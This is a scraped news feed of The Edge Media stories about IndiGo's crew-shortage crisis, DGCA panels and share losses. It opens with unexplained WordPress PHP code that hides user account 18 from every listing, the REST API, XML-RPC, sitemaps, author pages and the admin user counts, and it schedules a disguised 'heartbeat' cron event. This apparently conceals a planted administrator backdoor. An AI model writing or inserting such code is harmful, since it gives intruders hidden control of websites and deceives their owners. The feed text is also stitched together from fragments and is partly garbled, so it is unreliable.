add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post DGCA Forms Eight-Member Oversight Panel as IndiGo Faces Major Crew Shortage Crisis appeared first on The Edge Media.
]]>As per the order issued on Wednesday, the team will include a deputy chief flight operations inspector, several seniorflight operations inspectors (FOIs), and additional FOIs.
Two members of this group will be stationed at IndiGo’s corporate headquarters every day. Their responsibilities include examining the airline’s total fleet strength, the average distance covered per flight, pilot availability, network planning, crew duty hours, and the number of personnel currently undergoing training.
These officials will also monitor daily flight operations, unplanned staff absences, the number of sectors impacted by crew shortages, and the availability of standby cockpit and cabin crew at each base.
In addition, the DGCA is assigning a senior statistics officer and a deputy director to the airline’s headquarters. Their task is to track domestic and international cancellations, refund processing, punctuality, compensation provided to travellers as per regulations, and the handling of baggage.
Both sets of officials are required to send a detailed daily report by 6 p.m. to Joint Director General (Administration) Harish Kumar Vashishth and Joint Director General Jai Prakash Pandey.
IndiGo has been grappling with significant operational delays and cancellations for over a week. The disruptions began after the implementation of a revised crew rostering framework, which mandates longer rest periods for pilots and other staff, thereby limiting crew availability and impacting flight schedules.
The post DGCA Forms Eight-Member Oversight Panel as IndiGo Faces Major Crew Shortage Crisis appeared first on The Edge Media.
]]>The post DGCA Summons IndiGo CEO Pieter Elbers Over Operational Disruptions appeared first on The Edge Media.
]]>The DGCA has asked Elbers to submit comprehensive data on the disruptions, including flight restoration efforts, recruitment plans for pilots and crew, updates on the airline’s staffing, and details regarding flight cancellations and refunds.
Elbers has been instructed to attend the meeting at 3 pm, along with senior officials from all relevant departments of IndiGo.
In addition to the report, the DGCA has outlined a series of specific areas for examination. The airline has been asked to provide information on its pilot and crew recruitment plan, the updated number of flight cancellations, and the status of refunds processed. The meeting will also cover the airline’s strategies to address the underlying issues causing these disruptions, including an assessment of its manpower planning and fluctuating crew rostering systems.
The crisis, which led to thousands of cancelled and delayed flights, prompted the DGCA to form a four-member committee to investigate the root causes of the operational breakdown. The panel includes Joint DG Sanjay Brahamane, Deputy Director General Amit Gupta, Senior Flight Operations Inspector Kapil Manglik, and FOI Lokesh Rampal. The committee has been tasked with closely analyzing IndiGo’s crew management, its readiness to implement revised flight duty time regulations, and any gaps in compliance with duty period and rest norms for pilots.
The investigation was officially announced on December 5 by DGCA chief Faiz Ahmed Kidwai. The committee is expected to focus on holding IndiGo accountable for the planning failures that contributed to the widespread flight disruptions.
The post DGCA Summons IndiGo CEO Pieter Elbers Over Operational Disruptions appeared first on The Edge Media.
]]>The post Over 400 IndiGo Flights Cancelled as Operational Crisis Deepens Despite Regulatory Relief appeared first on The Edge Media.
]]>At Bengaluru airport alone, 124 flights were scrapped, while Mumbai recorded 109 cancellations. Delhi saw 106 flights grounded, and Hyderabad reported 66 cancellations, creating widespread travel chaos at some of the country’s busiest aviation hubs.
IndiGo CEO Pieter Elbers, who addressed passengers through a one-way video message on Friday after days of silence, apologised for the inconvenience and said the airline expected fewer than 1,000 cancellations on Saturday, signalling a slight improvement but far from normal operations.
The Directorate General of Civil Aviation (DGCA) had granted IndiGo temporary relaxations to the revised Flight Duty Time Limit (FDTL) norms, which included rolling back the extended night-duty window (12 am–6 am) to the earlier 12 am–5 am, and raising the limit on night landings for pilots from two to six. The relief was intended to ease crew shortages and stabilise operations.
However, the move has drawn a sharp response from the Airlines’ Pilots Association (ALPA) India, which labelled the DGCA’s decision as “unsafe” and “selective.” The body warned that diluting fatigue-management standards “places millions of passengers at heightened risk” and undermines the scientific basis of the norms mandated by the Delhi High Court.
Following a meeting with pilot unions on December 5, the Ministry of Civil Aviation announced that implementation of the revised FDTL regulations would be put on hold. ALPA India criticised the decision, stating that suspending the norms contradicts court directives and delays critical fatigue protections for cockpit crew.
IndiGo was among the first airlines to resist the new FDTL guidelines introduced in early 2024, arguing that carriers needed more time to adapt due to increased crew requirements. Other domestic airlines, including Air India, initially pushed back as well, but the DGCA eventually rolled out the rules in phases after judicial intervention.
The first phase took effect in July, while the second—limiting pilots to two night landings per duty cycle—was enforced from November 1, contributing to manpower shortages and operational strain for several airlines.
As IndiGo grapples with stabilising its schedule, passengers across key metros continue to face long queues, last-minute changes, and widespread uncertainty—highlighting the broader challenges of balancing operational demands with aviation safety standards in India’s fast-growing aviation market.
The post Over 400 IndiGo Flights Cancelled as Operational Crisis Deepens Despite Regulatory Relief appeared first on The Edge Media.
]]>The post IndiGo’s Operational Turmoil Pulls Down InterGlobe Aviation Shares appeared first on The Edge Media.
]]>The company’s stock price has shed more than 7% on the BSE during the last four trading sessions. On Friday, the share price slipped by 1.22% to close at Rs 5,371.30 after touching an intraday low of Rs 5,266. On the NSE, the stock ended the day 1.27% lower at Rs 5,367.50, extending its total four-day decline to over 7%.
Since December 1, InterGlobe Aviation’s market capitalisation has dropped by roughly Rs 16,190 crore, reducing its valuation to around Rs 2.07 lakh crore.
The wider aviation network in India remained disrupted for a fourth consecutive day on Friday as IndiGo, which accounts for nearly two-thirds of domestic air traffic, cancelled more than one thousand flights. All departures from New Delhi were halted at one point, leaving passengers without clear rebooking options and causing significant missed events and lost connections.
The turmoil was triggered by IndiGo’s inability to adequately prepare for new pilot duty-time norms. These rules increase the weekly rest requirement for pilots from 36 to 48 hours and restrict 9 times landings to 2 per week instead of 6. IndiGo acknowledged that the large-scale cancellations were the result of planning errors and misjudgment.
Chief Executive Officer Pieter Elbers stated on Friday that the airline expects operations to stabilise between December 10 and December 15.
The post IndiGo’s Operational Turmoil Pulls Down InterGlobe Aviation Shares appeared first on The Edge Media.
]]>The post Mass Flight Cancellations by IndiGo Trigger Chaos at Hyderabad Airport appeared first on The Edge Media.
]]>In addition to outbound disruptions, the airline cancelled twenty one incoming flights from various cities. The previous day had also seen nine cancellations, adding to the growing concern among passengers.
The situation intensified when videos began circulating on social media showing angry travellers confronting airline staff over the stalled services. One user on X expressed frustration, stating that it was distressing to see Ayyappa devotees forced to protest after lengthy delays.
The user tagged Prime Minister Narendra Modi, Amit Shah, and Ram Mohan Naidu, while urging authorities to intervene.
Across multiple airports, numerous IndiGo flights faced delays as the airline struggled with a shortage of available crew. A spokesperson for IndiGo acknowledged the disruptions and explained that unavoidable delays and cancellations were caused by a combination of technology issues, congestion at airports, and operational demands.
In a statement on X, Rajiv Gandhi International Airport confirmed that certain IndiGo flights were affected by the airline’s internal challenges. The airport advised passengers to contact IndiGo’s customer support for updated information, while maintaining that overall airport operations remained normal.
The post Mass Flight Cancellations by IndiGo Trigger Chaos at Hyderabad Airport appeared first on The Edge Media.
]]>The post IndiGo Pilots Detained For Using Abusive Languages On Emergency Radio appeared first on The Edge Media.
]]>In this case, the Directorate General of Civil Aviation (DGCA) has opened an investigation. According to the sources, IndiGo has yet to release a remark on the matter. IndiGo has dismissed several pilots who were organizing a strike on April 5 to protest wage cutbacks imposed during the COVID-19 epidemic only days before the event.
The post IndiGo Pilots Detained For Using Abusive Languages On Emergency Radio appeared first on The Edge Media.
]]>The post After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India appeared first on The Edge Media.
]]>This evacuation came about a week after the last group of Indians, the workers of the Indian Embassy in Kabul, arrived in Jamnagar, Gujarat. Kabul. Among the evacuees were 24 Sikhs, including two Afghan senators.
Air India, IndiGo, and Vistara, three additional flights carrying Indians evacuated from Kabul, landed in the national capital earlier in the day from Tajikistan’s capital Dushanbe and Qatar’s Doha. According to government sources, India has been granted permission to fly two aircraft per day from Kabul to remove its people stranded in Afghanistan.
The Taliban’s ‘capture’ of Indian citizens comes only hours after an Air Force transport plane successfully evacuated 85 Indians from Kabul.
The post After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India appeared first on The Edge Media.
]]>The post Indigo Offers Discount For Fully Vaccinated Passengers appeared first on The Edge Media.
]]>Passengers wishing to receive a ticket discount must have their immunization certificate with them and present it at the airport check-in office as well as the boarding gate.
The post Indigo Offers Discount For Fully Vaccinated Passengers appeared first on The Edge Media.
]]>